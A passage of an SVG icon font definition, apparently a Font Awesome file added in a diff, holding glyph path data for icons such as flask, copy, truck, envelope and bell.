96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160 +c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996z" /> + <glyph glyph-name="flask" unicode="" horiz-adv-x="448" +d="M437.2 44.5c29.2998 -47 -4.40039 -108.5 -60.1006 -108.5h-306.199c-55.6006 0 -89.4004 61.4004 -60.1006 108.5l117.2 188.5v151h-8c-13.2998 0 -24 10.7002 -24 24v16c0 13.2998 10.7002 24 24 24h208c13.2998 0 24 -10.7002 24 -24v-16 +c0 -13.2998 -10.7002 -24 -24 -24h-8v-151zM137.9 128h172l-48.2002 77.5996c-3.60059 5.2002 -5.7998 11.5 -5.7998 18.4004v160h-64v-160c0 -6.7998 -2.10059 -13.2002 -5.80078 -18.4004z" /> + <glyph glyph-name="cut" unicode="" horiz-adv-x="448" +d="M278.06 192l166.421 -166.43c4.68945 -4.69043 4.68945 -12.29 0 -16.9707c-32.8008 -32.7998 -85.9902 -32.7998 -118.79 0l-115.511 115.521l-24.8594 -24.8604c4.30957 -10.9199 6.67969 -22.8096 6.67969 -35.2598c0 -53.0195 -42.9805 -96 -96 -96 +s-96 42.9805 -96 96s42.9805 96 96 96c4.53027 0 8.99023 -0.320312 13.3604 -0.929688l32.9297 32.9297l-32.9297 32.9297c-4.37012 -0.609375 -8.82031 -0.929688 -13.3604 -0.929688c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96 +c0 -12.4502 -2.37012 -24.3398 -6.67969 -35.2598l24.8594 -24.8604l115.511 115.521c32.7998 32.7998 85.9893 32.7998 118.79 0c4.68945 -4.68066 4.68945 -12.2803 0 -16.9707zM96 288c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32 +s14.3604 -32 32 -32zM96 32c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32s14.3604 -32 32 -32z" /> + <glyph glyph-name="copy" unicode="" horiz-adv-x="448" +d="M320 0v-40c0 -13.2549 -10.7451 -24 -24 -24h-272c-13.2549 0 -24 10.7451 -24 24v368c0 13.2549 10.7451 24 24 24h72v-296c0 -30.8789 25.1211 -56 56 -56h168zM320 344c0 -13.2002 10.7998 -24 24 -24h104v-264c0 -13.2549 -10.7451 -24 -24 -24h-272 +c-13.2549 0 -24 10.7451 -24 24v368c0 13.2549 10.7451 24 24 24h168v-104zM440.971 375.029c4.34473 -4.34473 7.0293 -10.3477 7.0293 -16.9707v-6.05859h-96v96h6.05859c6.62305 0 12.626 -2.68457 16.9707 -7.0293z" /> + <glyph glyph-name="paperclip" unicode="" horiz-adv-x="448" +d="M43.2461 -18.1416c-58.4297 60.2891 -57.3408 157.511 1.38574 217.581l209.76 214.561c44.3164 45.332 116.352 45.3359 160.672 0c43.8896 -44.8936 43.9424 -117.329 0 -162.276l-182.85 -186.852c-29.8545 -30.5371 -78.6328 -30.1113 -107.981 0.998047 +c-28.2754 29.9697 -27.3682 77.4727 1.45117 106.953l143.743 146.835c6.18262 6.31348 16.3125 6.42188 22.626 0.241211l22.8613 -22.3799c6.31445 -6.18164 6.42188 -16.3115 0.241211 -22.626l-143.729 -146.82c-4.93164 -5.04492 -5.23535 -13.4287 -0.647461 -18.292 +c4.37207 -4.63379 11.2451 -4.71094 15.6875 -0.165039l182.85 186.851c19.6123 20.0625 19.6123 52.7256 -0.0117188 72.7979c-19.1885 19.627 -49.957 19.6377 -69.1533 0l-209.762 -214.56c-34.7627 -35.5605 -35.2988 -93.1201 -1.19043 -128.313 +c34.0098 -35.0928 88.9844 -35.1367 123.058 -0.285156l172.061 175.999c6.17676 6.31836 16.3066 6.43262 22.626 0.255859l22.877 -22.3643c6.31836 -6.17676 6.43359 -16.3066 0.255859 -22.626l-172.061 -175.998c-59.5752 -60.9385 -155.942 -60.2158 -214.77 0.485352 +z" /> + <glyph glyph-name="save" unicode="" horiz-adv-x="448" +d="M433.941 318.059c8.68848 -8.68848 14.0586 -20.6943 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h268.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM224 32 +c35.3457 0 64 28.6543 64 64s-28.6543 64 -64 64s-64 -28.6543 -64 -64s28.6543 -64 64 -64zM320 336.52c0 3.31152 -1.34277 6.31348 -3.51465 8.48535l-3.48047 3.48047c-2.25 2.25098 -5.30176 3.51465 -8.48535 3.51465h-228.52c-6.62695 0 -12 -5.37305 -12 -12v-104 +c0 -6.62695 5.37305 -12 12 -12h232c6.62695 0 12 5.37305 12 12v100.52z" /> + <glyph glyph-name="square" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352z" /> + <glyph glyph-name="bars" unicode="" horiz-adv-x="448" +d="M16 316c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40c0 -8.83691 -7.16309 -16 -16 -16h-416zM16 156c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40 +c0 -8.83691 -7.16309 -16 -16 -16h-416zM16 -4c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40c0 -8.83691 -7.16309 -16 -16 -16h-416z" /> + <glyph glyph-name="list-ul" unicode="" +d="M48 400c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48s-48 21.5078 -48 48s21.5078 48 48 48zM48 240c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48s-48 21.5078 -48 48s21.5078 48 48 48zM48 80c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48 +s-48 21.5078 -48 48s21.5078 48 48 48zM496 64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 384c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16 +h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320z" /> + <glyph glyph-name="list-ol" unicode="" +d="M61.7695 47c19.6104 -5.12012 28.7002 -20.5 28.7305 -34.8799c0 -21.3701 -14.3398 -44.1201 -48.5 -44.1201c-16.6201 0 -29.29 4.75 -37 9.44043c-5.82031 4.21973 -6.34961 9.80957 -2.62988 15.9395l5.58984 9.31055c3.86035 6.61914 9.11035 7 15.5996 3.11914 +c4.76758 -1.95996 10.0107 -3.07617 15.4707 -3.11914c10.1602 0 14.3594 3.5 14.3594 8.21973c0 6.64941 -5.60938 9.08984 -15.9395 9.08984h-4.73047c-5.95996 0 -9.25 2.12012 -12.25 7.87988l-1.0498 1.92969c-2.4502 4.75 -1.2002 9.81055 2.7998 14.8809l5.61035 7 +c3.47461 4.32422 7.0957 8.37695 11 12.3096h-22.8301c-4.41504 0 -8 3.58496 -8 8v16c0 4.41504 3.58496 8 8 8h57c7.5 0 11.3398 -4 11.3398 -11.3496v-3.31055c0.0136719 -0.299805 0.0175781 -0.595703 0.0175781 -0.899414 +c0 -5.10449 -1.9248 -9.76367 -5.08789 -13.29zM496 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 384c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM16 288 +c-4.41504 0 -8 3.58496 -8 8v16c0 4.41504 3.58496 8 8 8h16v64h-8c-4.4082 0.0078125 -7.98145 3.59766 -7.98145 8.00781c0 1.2832 0.303711 2.49707 0.841797 3.57227l8 16c1.31055 2.62012 4.01367 4.41406 7.13965 4.41992h24c4.41504 0 8 -3.58496 8 -8v-88h16 +c4.41504 0 8 -3.58496 8 -8v-16c0 -4.41504 -3.58496 -8 -8 -8h-64zM12.0898 128c-7.00977 0 -12.0898 4 -12.0898 11.4102v4c0 47.2803 51 56.3994 50.9697 69.1201c0 7.18945 -5.9502 8.75 -9.2793 8.75c-0.0185547 0 -0.0380859 0.000976562 -0.0566406 0.000976562 +c-3.65918 0 -6.97949 -1.46582 -9.40332 -3.84082c-5.12012 -4.91016 -10.5107 -7 -16.1201 -2.44043l-8.58008 6.87988c-5.7998 4.53027 -7.16992 9.78027 -2.7998 15.3701c6.65918 8.75 19.0996 18.75 40.46 18.75c19.4697 0 44.4697 -10.5 44.4697 -39.5596 +c0 -37.7607 -45.0498 -46.1504 -48.3398 -56.4404h38.6797c4.41504 0 8 -3.58496 8 -8v-16c0 -4.41504 -3.58496 -8 -8 -8h-67.9102z" /> + <glyph glyph-name="strikethrough" unicode="" +d="M496 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-480c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h102.29c-11.6797 16.5303 -19.7803 35.4697 -21.7803 56.3604c-0.385742 3.97559 -0.577148 7.88281 -0.577148 11.96 +c0 68.2266 55.3633 123.624 123.577 123.68h68c50.1416 0 93.5244 -28.7686 114.521 -70.7998l0.529297 -1c1.07324 -2.14844 1.70215 -4.57715 1.70215 -7.13965c0 -6.26562 -3.61035 -11.6953 -8.86133 -14.3203l-42.9404 -21.4707 +c-2.14941 -1.07324 -4.5791 -1.70312 -7.14355 -1.70312c-6.2627 0 -11.6895 3.60645 -14.3164 8.85352c-8.18652 16.374 -25.0859 27.5801 -44.623 27.5801h-0.0371094h-66.79c-24.0352 -0.000976562 -43.5479 -19.5059 -43.5479 -43.541 +c0 -19.5742 12.9414 -36.1494 30.7285 -41.6289l87.1699 -26.8301h202.1zM315.76 128h94.3906c2.6084 -7.7373 4.44434 -15.9834 5.33984 -24.3604c0.385742 -3.97559 0.577148 -7.88281 0.577148 -11.96c0 -68.2266 -55.3633 -123.624 -123.577 -123.68h-68 +c-50.1416 0 -93.5244 28.7686 -114.521 70.7998l-0.529297 1c-1.07324 2.14844 -1.70215 4.57715 -1.70215 7.13965c0 6.26562 3.61035 11.6953 8.86133 14.3203l42.9404 21.4707c2.14941 1.07324 4.5791 1.70312 7.14355 1.70312 +c6.2627 0 11.6895 -3.60645 14.3164 -8.85352c8.18652 -16.374 25.0859 -27.5801 44.623 -27.5801h0.0371094h66.79c24.0254 0.0224609 43.5273 19.5244 43.5498 43.5498c-0.0117188 15.3828 -8.07227 28.8594 -20.2402 36.4502z" /> + <glyph glyph-name="underline" unicode="" horiz-adv-x="448" +d="M32 384c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h144c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32v-160c0 -44.1533 35.8467 -80 80 -80s80 35.8467 80 80v160h-32c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h144c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32v-160c0 -88.2197 -71.7803 -160 -160 -160s-160 71.7803 -160 160v160h-32zM432 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416z" /> + <glyph glyph-name="table" unicode="" +d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM224 32v96h-160v-96h160zM224 192v96h-160v-96h160zM448 32v96h-160v-96h160zM448 192v96h-160v-96h160z" /> + <glyph glyph-name="magic" unicode="" +d="M224 352l-16 32l-32 16l32 16l16 32l16 -32l32 -16l-32 -16zM80 288l-26.6602 53.3301l-53.3398 26.6699l53.3398 26.6699l26.6602 53.3301l26.6602 -53.3301l53.3398 -26.6699l-53.3398 -26.6699zM432 160l26.6602 -53.3301l53.3398 -26.6699l-53.3398 -26.6699 +l-26.6602 -53.3301l-26.6602 53.3301l-53.3398 26.6699l53.3398 26.6699zM502.62 353.77c12.5 -12.4893 12.5 -32.7598 0 -45.2393l-363.14 -363.15c-6.25 -6.25 -14.4404 -9.37012 -22.6309 -9.37012c-8.17969 0 -16.3691 3.12012 -22.6191 9.37012l-84.8506 84.8506 +c-12.5 12.4893 -12.5 32.75 0 45.25l363.14 363.14c6.25 6.25977 14.4404 9.37988 22.6309 9.37988c8.18945 0 16.3799 -3.12012 22.6191 -9.37988zM359.45 244.54l86.5996 86.5996l-50.9102 50.9102l-86.5996 -86.5996z" /> + <glyph glyph-name="truck" unicode="" horiz-adv-x="640" +d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96h-16c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48 -21.5 48 -48v-48h44.0996 +c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM480 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48 +s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" /> + <glyph glyph-name="money-bill" unicode="" horiz-adv-x="640" +d="M608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM48 48h64c0 35.3496 -28.6504 64 -64 64v-64zM48 272c35.3496 0 64 28.6504 64 64h-64v-64zM320 96 +c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96zM592 48v64c-35.3496 0 -64 -28.6504 -64 -64h64zM592 272v64h-64c0 -35.3496 28.6504 -64 64 -64z" /> + <glyph glyph-name="caret-down" unicode="" horiz-adv-x="320" +d="M31.2998 256h257.3c17.8008 0 26.7002 -21.5 14.1006 -34.0996l-128.601 -128.7c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0l-128.6 128.7c-12.6006 12.5996 -3.7002 34.0996 14.0996 34.0996z" /> + <glyph glyph-name="caret-up" unicode="" horiz-adv-x="320" +d="M288.662 96h-257.324c-17.8184 0 -26.7412 21.543 -14.1416 34.1416l128.662 128.662c7.80957 7.81055 20.4736 7.81055 28.2832 0l128.662 -128.662c12.6006 -12.5986 3.67676 -34.1416 -14.1416 -34.1416z" /> + <glyph glyph-name="caret-left" unicode="" horiz-adv-x="192" +d="M192 320.662v-257.324c0 -17.8184 -21.543 -26.7412 -34.1416 -14.1416l-128.662 128.662c-7.81055 7.80957 -7.81055 20.4736 0 28.2832l128.662 128.662c12.5986 12.6006 34.1416 3.67676 34.1416 -14.1416z" /> + <glyph glyph-name="caret-right" unicode="" horiz-adv-x="192" +d="M0 63.3379v257.324c0 17.8184 21.543 26.7412 34.1416 14.1416l128.662 -128.662c7.81055 -7.80957 7.81055 -20.4736 0 -28.2832l-128.662 -128.662c-12.5986 -12.6006 -34.1416 -3.67676 -34.1416 14.1416z" /> + <glyph glyph-name="columns" unicode="" +d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM224 32v256h-160v-256h160zM448 32v256h-160v-256h160z" /> + <glyph glyph-name="sort" unicode="" horiz-adv-x="320" +d="M41 160h238c21.4004 0 32.0996 -25.9004 17 -41l-119 -119c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-119.1 119c-15.0996 15.0996 -4.40039 41 17 41zM296 265c15.0996 -15.0996 4.40039 -41 -17 -41h-238c-21.4004 0 -32.0996 25.9004 -17 41l119.1 119 +c9.30078 9.40039 24.5 9.40039 33.9004 0z" /> + <glyph glyph-name="sort-down" unicode="" horiz-adv-x="320" +d="M41 160h238c21.4004 0 32.0996 -25.9004 17 -41l-119 -119c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-119.1 119c-15.0996 15.0996 -4.40039 41 17 41z" /> + <glyph glyph-name="sort-up" unicode="" horiz-adv-x="320" +d="M279 224h-238c-21.4004 0 -32.0996 25.9004 -17 41l119 119c9.40039 9.40039 24.5996 9.40039 33.9004 0l119 -119c15.1992 -15.0996 4.5 -41 -16.9004 -41z" /> + <glyph glyph-name="envelope" unicode="" +d="M502.3 257.2c3.90039 3.09961 9.7002 0.200195 9.7002 -4.7002v-204.5c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v204.4c0 5 5.7002 7.7998 9.7002 4.69922c22.3994 -17.3994 52.0996 -39.5 154.1 -113.6 +c21.1006 -15.4004 56.7002 -47.7998 92.2002 -47.5996c35.7002 -0.300781 72 32.7998 92.2998 47.5996c102 74.0996 131.601 96.2998 154 113.7zM256 128c-23.2002 -0.400391 -56.5996 29.2002 -73.4004 41.4004c-132.699 96.2998 -142.8 104.8 -173.399 128.699 +c-5.7998 4.60059 -9.2002 11.5 -9.2002 18.9004v19c0 26.5 21.5 48 48 48h416c26.5 0 48 -21.5 48 -48v-19c0 -7.40039 -3.40039 -14.4004 -9.2002 -18.9004c-30.5996 -24 -40.7002 -32.3994 -173.399 -128.699c-16.8008 -12.2002 -50.2002 -41.8008 -73.4004 -41.4004z" /> + <glyph glyph-name="undo" unicode="" +d="M212.333 223.667h-200.333c-6.62695 0 -12 5.37305 -12 12v200.333c0 6.62695 5.37305 12 12 12h48c6.62695 0 12 -5.37305 12 -12v-78.1123c45.7734 50.833 112.26 82.6426 186.175 82.1055c136.906 -0.994141 246.448 -111.623 246.157 -248.532 +c-0.291016 -136.719 -111.212 -247.461 -247.999 -247.461c-64.0889 0 -122.496 24.3135 -166.51 64.2148c-5.09961 4.62207 -5.33398 12.5537 -0.466797 17.4199l33.9668 33.9668c4.47363 4.47461 11.6621 4.71777 16.4004 0.525391 +c31.0361 -27.4629 71.8564 -44.127 116.609 -44.127c97.2676 0 176 78.7158 176 176c0 97.2666 -78.7158 176 -176 176c-58.4961 0 -110.28 -28.4756 -142.274 -72.333h98.2744c6.62695 0 12 -5.37305 12 -12v-48c0 -6.62695 -5.37305 -12 -12 -12z" /> + <glyph glyph-name="gavel" unicode="" +d="M504.971 248.638c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-124.451 -124.451c-9.37109 -9.37305 -24.5674 -9.37305 -33.9404 0l-22.627 22.627c-9.37305 9.37207 -9.37305 24.5684 0 33.9414l5.65723 5.65625l-39.5986 39.5986l-81.04 -81.04l5.65723 -5.65723 +c12.4971 -12.4971 12.4971 -32.7578 0 -45.2549l-114.745 -114.745c-12.4971 -12.4971 -32.7578 -12.4971 -45.2549 0l-45.2549 45.2549c-12.4971 12.4971 -12.4971 32.7578 0 45.2549l114.744 114.746c12.4971 12.4971 32.7578 12.4971 45.2549 0l5.65723 -5.65723 +l81.04 81.04l-39.5986 39.5986l-5.65625 -5.65723c-9.37207 -9.37305 -24.5684 -9.37305 -33.9414 0l-22.627 22.627c-9.37305 9.37207 -9.37305 24.5684 0 33.9404l124.451 124.451c9.37207 9.37305 24.5674 9.37305 33.9404 0l22.627 -22.6279 +c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-5.65625 -5.65723l113.138 -113.137l5.65723 5.65625c9.37207 9.37305 24.5674 9.37305 33.9404 0z" /> + <glyph glyph-name="bolt" unicode="" horiz-adv-x="320" +d="M296 288c18.5 0 30 -20.0996 20.7002 -36l-176 -304c-4.40039 -7.59961 -12.4004 -12 -20.7998 -12c-15.3008 0 -26.9004 14.2998 -23.3008 29.5l46.1006 194.5h-118.7c-14.5 0 -25.7002 12.7998 -23.7998 27.2002l32 240 +c1.59961 11.8994 11.7998 20.7998 23.7998 20.7998h144c15.7002 0 27.2002 -15 23.2002 -30.2002l-42.6006 -129.8h115.4z" /> + <glyph glyph-name="sitemap" unicode="" horiz-adv-x="640" +d="M128 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM104 176v-48h-48v57.5898c0 21.1797 17.2305 38.4102 38.4102 38.4102h201.59v64h-40c-17.6699 0 -32 14.3301 -32 32 +v96c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-40v-64h201.59c21.1797 0 38.4102 -17.2402 38.4102 -38.4102v-57.5898h-48v48h-192v-48h-48v48h-192zM368 96c17.6699 0 32 -14.3301 32 -32v-96 +c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM608 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96z" /> + <glyph glyph-name="umbrella" unicode="" horiz-adv-x="576" +d="M575.7 167.2c2.2002 -10.1006 -8.40039 -21.4004 -18.7002 -11.4004c-51.5 54.4004 -107.6 52.5 -158.6 -37c-5.30078 -9.5 -14.9004 -8.59961 -19.7002 0c-2.5 4.40039 -32.2002 73.2002 -90.7002 73.2002c-45.7998 0 -70.5 -37.7998 -90.7002 -73.2002 +c-4.7998 -8.59961 -14.3994 -9.5 -19.7002 0c-50.8994 89.4004 -106.6 92 -158.6 37c-10.2002 -9.89941 -20.9004 1.2998 -18.7002 11.4004c29.2002 136.3 138 218.2 255.7 230.899v17.9004c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32v-17.9004 +c117.3 -12.6992 227.1 -94.5996 255.7 -230.899zM256 146.3c9.59961 8.90039 19.7002 13.6006 32 13.7002c12.2002 0 22.9004 -5.7002 32 -13.5996v-130.301c0 -44.0996 -35.9004 -80 -80 -80c-33.7998 0 -64.2002 21.4004 -75.4004 53.3008 +c-5.89941 16.5996 2.80078 34.8994 19.5 40.7998c16.7002 5.89941 34.9004 -2.7998 40.8008 -19.5c1.89941 -5.40039 7.2998 -10.7002 15.0996 -10.7002c8.7998 0 16 7.2002 16 16v130.3z" /> + <glyph glyph-name="paste" unicode="" horiz-adv-x="448" +d="M128 264v-232h-104c-13.2549 0 -24 10.7451 -24 24v336c0 13.2549 10.7451 24 24 24h80.6104c11.084 19.1104 31.7529 32 55.3896 32s44.3057 -12.8896 55.3896 -32h80.6104c13.2549 0 24 -10.7451 24 -24v-72h-136c-30.8779 0 -56 -25.1211 -56 -56zM160 408 +c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM344 160h104v-200c0 -13.2549 -10.7451 -24 -24 -24h-240c-13.2549 0 -24 10.7451 -24 24v304c0 13.2549 10.7451 24 24 24h136v-104c0 -13.2002 10.7998 -24 24 -24z +M448 198.059v-6.05859h-96v96h6.05859c6.62305 0 12.626 -2.68457 16.9707 -7.0293l65.9404 -65.9404c4.34473 -4.34473 7.03027 -10.3477 7.03027 -16.9717z" /> + <glyph glyph-name="lightbulb" unicode="" horiz-adv-x="352" +d="M96.0596 -6.34961l-0.0498047 38.3496h159.98l-0.0400391 -38.3496c-0.0078125 -6.52637 -1.99219 -12.6309 -5.36035 -17.6904l-17.0898 -25.6904c-5.73242 -8.62305 -15.5176 -14.2793 -26.6396 -14.2793h-61.71c-11.123 0 -20.9072 5.65625 -26.6406 14.2793 +l-17.0898 25.6904c-3.49023 5.24023 -5.34961 11.4004 -5.36035 17.6904zM0 272c0 93.0303 73.4404 175.69 175.45 176c97.46 0.299805 176.55 -78.6104 176.55 -176c0 -44.3701 -16.4502 -84.8496 -43.5596 -115.78c-16.5205 -18.8496 -42.3604 -58.2295 -52.21 -91.4502 +c-0.0400391 -0.269531 -0.0703125 -0.519531 -0.110352 -0.779297h-160.24c-0.0400391 0.259766 -0.0703125 0.519531 -0.110352 0.779297c-9.84961 33.2207 -35.6895 72.6006 -52.21 91.4502c-27.1094 30.9307 -43.5596 71.4102 -43.5596 115.78zM176 352 +c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16c-61.7598 0 -112 -50.2402 -112 -112c0 -8.83984 7.16016 -16 16 -16s16 7.16016 16 16c0 44.1104 35.8896 80 80 80z" /> + <glyph glyph-name="user-md" unicode="" horiz-adv-x="448" +d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM104 24c0 13.2998 10.7002 24 24 24s24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24zM320 159.4c71.2002 -3.5 128 -61.8008 128 -133.801 +v-44.7998c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v44.7998c0 66.6006 48.5 121.4 112.1 132.101v-80.4004c-23.0996 -6.89941 -40 -28.0996 -40 -53.3994c0 -30.9004 25.1006 -56 56 -56 +c30.9004 0 56 25.0996 56 56c0 25.2998 -16.8994 46.5 -40 53.3994v81.6006c7.7002 -1 15.2002 -2.60059 22.6006 -5.2002c18 -6.2998 37.2998 -9.7998 57.3994 -9.7998c20.1006 0 39.4004 3.5 57.4004 9.7998c2.2002 0.799805 4.40039 1.2002 6.59961 1.89941v-45.1992 +c-36.5 -7.5 -64 -39.8008 -64 -78.4004v-43.7998c0 -8.10059 5.90039 -14.7998 13.8008 -15.9004l31.1992 -4.2002c4.30078 -0.799805 8.5 2 9.40039 6.30078l3.09961 15.6992c0.800781 4.30078 -2 8.5 -6.2998 9.40039l-19.2998 3.90039v26.6992 +c0 67 96 64.7002 96 1.90039v-28.5l-19.2998 -3.90039c-4.40039 -0.799805 -7.2002 -5.09961 -6.2998 -9.39941l3.09961 -15.7002c0.900391 -4.40039 5.09961 -7.2002 9.40039 -6.2998l32.1992 6.39941c7.5 1.5 12.9004 8.10059 12.9004 15.7002v41.7002 +c0 38.5996 -27.5 71 -64 78.4004v49z" /> + <glyph glyph-name="stethoscope" unicode="" +d="M447.1 336c35.7002 0.5 64.9004 -28.2998 64.9004 -64c0 -23.7002 -12.9004 -44.2998 -32 -55.4004v-112.6c0 -92.5996 -79 -168 -176 -168c-95.4004 0 -173.3 72.7998 -175.9 163.2c-73 14.7998 -128.1 79.5 -128.1 156.8v155.4c0 11.5 8.09961 21.2998 19.2998 23.5996 +l62.7998 12.4004c13 2.59961 25.6006 -5.80078 28.2002 -18.8008l3.10059 -15.6992c2.59961 -13 -5.80078 -25.6006 -18.8008 -28.2002l-30.6992 -6.10059v-122.5c0 -53.2998 43.5 -96.5 96.8994 -96c52.9004 0.5 95.1006 44.3008 95.1006 97.2002v121.4l-30.7002 6.09961 +c-13 2.60059 -21.4004 15.2002 -18.7998 28.2002l3.19922 15.7002c2.60059 13 15.2002 21.3994 28.2002 18.7998l62.9004 -12.5996c11.2002 -2.2002 19.2998 -12.1006 19.2998 -23.5v-155.4c0 -77.2002 -55 -141.8 -127.8 -156.8 +c2.7002 -55.1006 51.8994 -99.2002 111.899 -99.2002c61.8008 0 112 46.7002 112 104v112.6c-19.5 11.2002 -32.5 32.5 -32 56.8008c0.700195 34.1992 28.8008 62.0996 63 62.5996zM448 256c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16 +s7.2002 -16 16 -16z" /> + <glyph glyph-name="suitcase" unicode="" +d="M128 -32v400c0 26.5 21.5 48 48 48h160c26.5 0 48 -21.5 48 -48v-400h-256zM192 352v-32h128v32h-128zM512 272v-256c0 -26.5 -21.5 -48 -48 -48h-48v352h48c26.5 0 48 -21.5 48 -48zM96 -32h-48c-26.5 0 -48 21.5 -48 48v256c0 26.5 21.5 48 48 48h48v-352z" /> + <glyph glyph-name="bell" unicode="" horiz-adv-x="448" +d="M224 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64zM439.39 85.71c6 -6.44043 8.66016 -14.1602 8.61035 -21.71c-0.0996094 -16.4004 -12.9805 -32 -32.0996 -32h-383.801c-19.1191 0 -31.9893 15.5996 -32.0996 32 +c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c19.3193 20.7598 55.4697 51.9902 55.4697 154.29c0 77.7002 54.4795 139.9 127.939 155.16v20.8398c0 17.6699 14.3203 32 31.9805 